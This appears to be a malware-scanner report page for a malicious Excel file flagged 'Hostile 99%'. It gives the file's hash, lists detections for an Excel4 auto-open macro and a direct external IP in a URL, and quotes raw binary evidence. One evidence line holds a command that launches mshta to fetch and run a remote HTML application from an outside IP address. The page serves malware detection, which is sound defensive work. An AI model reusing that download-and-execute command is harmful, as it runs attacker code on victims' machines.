Hostile 99% Download

7416877c38f82b291d1bc7e708adbe2c082365aca829b95c174a27599a73525d.xlsx

Detects Excel4 macro use with auto open / closeDirect external IP address in URL
SHA-2567416877c38f82b291d1bc7e708adbe2c082365aca829b95c174a27599a73525d
MaleculeO(C)Th

Evidence

Detects Excel4 macro use with auto open / close line 0
0��ࡱ�����������������>���� ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������
Direct external IP address in URL line 75511
75511����,�������Q����������� ���;�4�CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.htmlBn����������������}��B�6���������U�� ���� ����P���H����������������0�����(���� �������������������

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.